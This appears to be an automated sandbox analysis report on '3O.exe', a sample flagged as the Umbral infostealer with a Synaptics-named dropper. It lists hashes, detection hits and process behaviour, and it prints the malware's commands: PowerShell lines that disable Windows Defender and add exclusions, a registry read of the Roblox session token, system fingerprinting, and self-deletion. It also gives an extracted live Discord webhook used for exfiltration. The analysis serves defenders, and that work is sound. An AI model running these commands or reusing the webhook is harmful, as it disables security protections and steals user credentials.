Analysis
-
max time kernel
144s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
12-07-2024 22:35
Behavioral task
behavioral1
Sample
3O.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
3O.exe
Resource
win10v2004-20240709-en
General
-
Target
3O.exe
-
Size
972KB
-
MD5
e9e10384209bc3b39b6f5cd6f33314e7
-
SHA1
40f0bed19c2f77417ab130e7be434c6e0e33bc0a
-
SHA256
b63721f19f217379cbafdaa58a1a2d16975b82547a5cb8701604f53e5ace059b
-
SHA512
b391ef944dcc1d4f1158579ea4f7c8f248c5b3ee58f4483a2ba60956953763c6a0ce641707a583c6329e1c58265494065552901a0152cea5d6d87cd5d40501be
-
SSDEEP
24576:HnsJ39LyjbJkQFMhmC+6GD94I8AvqGELnszd42X3W6FY:HnsHyjtk2MYC5GDlFY
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1260639029204881480/iDveNlzEvkWz3nrGTBbCyvAJNF9-L44ep1CFuZ9ffhZ1uZM9fJhFC39LcEEWSQ9kHBqS
Signatures
-
Detect Umbral payload 9 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\._cache_3O.exe family_umbral C:\ProgramData\Synaptics\Synaptics.exe family_umbral behavioral1/memory/2756-25-0x0000000000400000-0x00000000004F9000-memory.dmp family_umbral behavioral1/memory/2680-28-0x0000000001290000-0x00000000012D0000-memory.dmp family_umbral behavioral1/memory/2660-36-0x0000000001390000-0x00000000013D0000-memory.dmp family_umbral behavioral1/memory/2564-102-0x0000000000400000-0x00000000004F9000-memory.dmp family_umbral behavioral1/memory/2564-103-0x0000000000400000-0x00000000004F9000-memory.dmp family_umbral behavioral1/memory/2564-127-0x0000000000400000-0x00000000004F9000-memory.dmp family_umbral behavioral1/memory/2564-138-0x0000000000400000-0x00000000004F9000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 1 IoCs
Processes:
._cache_Synaptics.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts ._cache_Synaptics.exe -
Executes dropped EXE 3 IoCs
Processes:
._cache_3O.exeSynaptics.exe._cache_Synaptics.exepid process 2680 ._cache_3O.exe 2564 Synaptics.exe 2660 ._cache_Synaptics.exe -
Loads dropped DLL 5 IoCs
Processes:
3O.exeSynaptics.exepid process 2756 3O.exe 2756 3O.exe 2756 3O.exe 2564 Synaptics.exe 2564 Synaptics.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
3O.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe" 3O.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2028 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
._cache_Synaptics.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2660 ._cache_Synaptics.exe 1000 powershell.exe 1764 powershell.exe 2152 powershell.exe 1772 powershell.exe 916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
._cache_Synaptics.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 2660 ._cache_Synaptics.exe Token: SeIncreaseQuotaPrivilege 2968 wmic.exe Token: SeSecurityPrivilege 2968 wmic.exe Token: SeTakeOwnershipPrivilege 2968 wmic.exe Token: SeLoadDriverPrivilege 2968 wmic.exe Token: SeSystemProfilePrivilege 2968 wmic.exe Token: SeSystemtimePrivilege 2968 wmic.exe Token: SeProfSingleProcessPrivilege 2968 wmic.exe Token: SeIncBasePriorityPrivilege 2968 wmic.exe Token: SeCreatePagefilePrivilege 2968 wmic.exe Token: SeBackupPrivilege 2968 wmic.exe Token: SeRestorePrivilege 2968 wmic.exe Token: SeShutdownPrivilege 2968 wmic.exe Token: SeDebugPrivilege 2968 wmic.exe Token: SeSystemEnvironmentPrivilege 2968 wmic.exe Token: SeRemoteShutdownPrivilege 2968 wmic.exe Token: SeUndockPrivilege 2968 wmic.exe Token: SeManageVolumePrivilege 2968 wmic.exe Token: 33 2968 wmic.exe Token: 34 2968 wmic.exe Token: 35 2968 wmic.exe Token: SeIncreaseQuotaPrivilege 2968 wmic.exe Token: SeSecurityPrivilege 2968 wmic.exe Token: SeTakeOwnershipPrivilege 2968 wmic.exe Token: SeLoadDriverPrivilege 2968 wmic.exe Token: SeSystemProfilePrivilege 2968 wmic.exe Token: SeSystemtimePrivilege 2968 wmic.exe Token: SeProfSingleProcessPrivilege 2968 wmic.exe Token: SeIncBasePriorityPrivilege 2968 wmic.exe Token: SeCreatePagefilePrivilege 2968 wmic.exe Token: SeBackupPrivilege 2968 wmic.exe Token: SeRestorePrivilege 2968 wmic.exe Token: SeShutdownPrivilege 2968 wmic.exe Token: SeDebugPrivilege 2968 wmic.exe Token: SeSystemEnvironmentPrivilege 2968 wmic.exe Token: SeRemoteShutdownPrivilege 2968 wmic.exe Token: SeUndockPrivilege 2968 wmic.exe Token: SeManageVolumePrivilege 2968 wmic.exe Token: 33 2968 wmic.exe Token: 34 2968 wmic.exe Token: 35 2968 wmic.exe Token: SeDebugPrivilege 1000 powershell.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 2152 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe Token: SeIncreaseQuotaPrivilege 3008 wmic.exe Token: SeSecurityPrivilege 3008 wmic.exe Token: SeTakeOwnershipPrivilege 3008 wmic.exe Token: SeLoadDriverPrivilege 3008 wmic.exe Token: SeSystemProfilePrivilege 3008 wmic.exe Token: SeSystemtimePrivilege 3008 wmic.exe Token: SeProfSingleProcessPrivilege 3008 wmic.exe Token: SeIncBasePriorityPrivilege 3008 wmic.exe Token: SeCreatePagefilePrivilege 3008 wmic.exe Token: SeBackupPrivilege 3008 wmic.exe Token: SeRestorePrivilege 3008 wmic.exe Token: SeShutdownPrivilege 3008 wmic.exe Token: SeDebugPrivilege 3008 wmic.exe Token: SeSystemEnvironmentPrivilege 3008 wmic.exe Token: SeRemoteShutdownPrivilege 3008 wmic.exe Token: SeUndockPrivilege 3008 wmic.exe Token: SeManageVolumePrivilege 3008 wmic.exe Token: 33 3008 wmic.exe Token: 34 3008 wmic.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
EXCEL.EXEpid process 2028 EXCEL.EXE -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
3O.exeSynaptics.exe._cache_Synaptics.execmd.exedescription pid process target process PID 2756 wrote to memory of 2680 2756 3O.exe ._cache_3O.exe PID 2756 wrote to memory of 2680 2756 3O.exe ._cache_3O.exe PID 2756 wrote to memory of 2680 2756 3O.exe ._cache_3O.exe PID 2756 wrote to memory of 2680 2756 3O.exe ._cache_3O.exe PID 2756 wrote to memory of 2564 2756 3O.exe Synaptics.exe PID 2756 wrote to memory of 2564 2756 3O.exe Synaptics.exe PID 2756 wrote to memory of 2564 2756 3O.exe Synaptics.exe PID 2756 wrote to memory of 2564 2756 3O.exe Synaptics.exe PID 2564 wrote to memory of 2660 2564 Synaptics.exe ._cache_Synaptics.exe PID 2564 wrote to memory of 2660 2564 Synaptics.exe ._cache_Synaptics.exe PID 2564 wrote to memory of 2660 2564 Synaptics.exe ._cache_Synaptics.exe PID 2564 wrote to memory of 2660 2564 Synaptics.exe ._cache_Synaptics.exe PID 2660 wrote to memory of 2968 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 2968 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 2968 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 2436 2660 ._cache_Synaptics.exe attrib.exe PID 2660 wrote to memory of 2436 2660 ._cache_Synaptics.exe attrib.exe PID 2660 wrote to memory of 2436 2660 ._cache_Synaptics.exe attrib.exe PID 2660 wrote to memory of 1000 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1000 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1000 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1764 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1764 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1764 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 2152 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 2152 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 2152 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1772 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1772 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1772 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 3008 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 3008 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 3008 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 3052 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 3052 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 3052 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 1620 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 1620 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 1620 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 916 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 916 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 916 2660 ._cache_Synaptics.exe powershell.exe PID 2660 wrote to memory of 1732 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 1732 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 1732 2660 ._cache_Synaptics.exe wmic.exe PID 2660 wrote to memory of 1848 2660 ._cache_Synaptics.exe cmd.exe PID 2660 wrote to memory of 1848 2660 ._cache_Synaptics.exe cmd.exe PID 2660 wrote to memory of 1848 2660 ._cache_Synaptics.exe cmd.exe PID 1848 wrote to memory of 1948 1848 cmd.exe PING.EXE PID 1848 wrote to memory of 1948 1848 cmd.exe PING.EXE PID 1848 wrote to memory of 1948 1848 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\3O.exe"C:\Users\Admin\AppData\Local\Temp\3O.exe"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe"C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe"2⤵
- Executes dropped EXE
PID:2680 -
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"4⤵
- Views/modifies file attributes
PID:2436 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3008 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵PID:3052
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵PID:1620
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
PID:916 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
PID:1732 -
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" && pause4⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\system32\PING.EXEping localhost5⤵
- Runs ping.exe
PID:1948
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2028
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Synaptics\Synaptics.exeFilesize
972KB
MD5e9e10384209bc3b39b6f5cd6f33314e7
SHA140f0bed19c2f77417ab130e7be434c6e0e33bc0a
SHA256b63721f19f217379cbafdaa58a1a2d16975b82547a5cb8701604f53e5ace059b
SHA512b391ef944dcc1d4f1158579ea4f7c8f248c5b3ee58f4483a2ba60956953763c6a0ce641707a583c6329e1c58265494065552901a0152cea5d6d87cd5d40501be
-
C:\Users\Admin\AppData\Local\Temp\CjnClFyj.xlsmFilesize
17KB
MD5e566fc53051035e1e6fd0ed1823de0f9
SHA100bc96c48b98676ecd67e81a6f1d7754e4156044
SHA2568e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15
SHA512a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5cc2ebe0a534679db98b5935fa5795e45
SHA1c625a97e16eac8cd4b3782d6a3d5ccbcf9eb8817
SHA2565dc00048db4da89a80c8d6518779680e9f655553d1e32b86f965d180cb5f7d95
SHA51298a120d4fcaa06a24d011c2d4cee3141eb21698ac9579362f2e49388fda0314c60184580d72451c00b9fc0fb60e837fb15a3adc35dc556775abe22c8394c62c9
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\._cache_3O.exeFilesize
227KB
MD5564b355897ddc57a49b9c0385673b7c4
SHA1830b0bd8d603c384a3ca59de5889c9ccb98233b1
SHA256ccf452b1c9ef7ad173d702e74cb17c13bee478432ed764259d4b33634aea438c
SHA512c2ebcea2723156c3534641b796a0303fedc06e4ba304e285d898ad819fa4eac4cac0bda79831d60097db4a7a0c76a8af616ff0c5ecbb327200724810523a12a5
-
memory/916-78-0x0000000001F70000-0x0000000001F78000-memory.dmpFilesize
32KB
-
memory/1000-43-0x0000000001E80000-0x0000000001E88000-memory.dmpFilesize
32KB
-
memory/1000-42-0x000000001B670000-0x000000001B952000-memory.dmpFilesize
2.9MB
-
memory/1764-49-0x000000001B5B0000-0x000000001B892000-memory.dmpFilesize
2.9MB
-
memory/1764-50-0x0000000002910000-0x0000000002918000-memory.dmpFilesize
32KB
-
memory/2028-82-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/2564-102-0x0000000000400000-0x00000000004F9000-memory.dmpFilesize
996KB
-
memory/2564-103-0x0000000000400000-0x00000000004F9000-memory.dmpFilesize
996KB
-
memory/2564-127-0x0000000000400000-0x00000000004F9000-memory.dmpFilesize
996KB
-
memory/2564-138-0x0000000000400000-0x00000000004F9000-memory.dmpFilesize
996KB
-
memory/2660-36-0x0000000001390000-0x00000000013D0000-memory.dmpFilesize
256KB
-
memory/2680-28-0x0000000001290000-0x00000000012D0000-memory.dmpFilesize
256KB
-
memory/2756-2-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
-
memory/2756-25-0x0000000000400000-0x00000000004F9000-memory.dmpFilesize
996KB